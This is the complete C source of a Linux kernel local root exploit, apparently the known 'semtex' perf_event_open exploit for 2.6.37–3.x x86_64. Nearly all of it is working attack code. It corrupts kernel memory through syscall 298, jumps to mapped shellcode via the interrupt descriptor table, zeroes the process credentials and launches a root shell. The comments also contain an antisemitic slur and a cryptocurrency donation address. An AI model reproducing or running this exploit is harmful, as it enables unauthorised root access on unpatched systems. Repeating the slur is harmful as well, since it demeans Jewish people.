semtex.c

/*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 sd@fucksheep.org, salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 */

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
	int i,j,k;
	uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
	uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
	uint64_t kbase = ((uint64_t)current)>>36;
	uint32_t *fixptr = (void*) AB(1);
	*fixptr = -1;

	for (i=0; i<4000; i+=4) {
		uint64_t *p = (void *)&current[i];
		uint32_t *t = (void*) p[0];
		if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
		for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
			if (((uint32_t*)uids)[k] != t[j+k]) goto next;
			for (i = 0; i < 8; i++) t[j+i] = 0;
			for (i = 0; i < 10; i++) t[j+9+i] = -1;
			return;
next:;		}
	}
}

void sheep(uint32_t off) {
	uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
	int fd = syscall(298, buf, 0, -1, -1, 0);
	assert(!close(fd));
}


int	main() {
	uint64_t  u,g,needle, kbase, *p; uint8_t *code;
	uint32_t *map, j = 5;
	int i;
	struct {
		uint16_t limit;
		uint64_t addr;
	} __attribute__((packed)) idt;
	assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
	memset(map, 0, SIZE);
	sheep(-1); sheep(-2);
	for (i = 0; i < SIZE/4; i++) if (map[i]) {
		assert(map[i+1]);
		break;
	}
	assert(i<SIZE/4);
	asm ("sidt %0" : "=m" (idt));
	kbase = idt.addr & 0xff000000;
	u = getuid(); g = getgid();
	assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
	memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
	memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
		printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
	setresuid(u,u,u); setresgid(g,g,g);
	while (j--) {
		needle = AB(j+1);
		assert(p = memmem(code, 1024, &needle, 8));
		if (!p) continue;
		*p = j?((g<<32)|u):(idt.addr + 0x48);
	}
	sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
	asm("int $0x4");	assert(!setuid(0));
	return execl("/bin/bash", "-sh", NULL);
}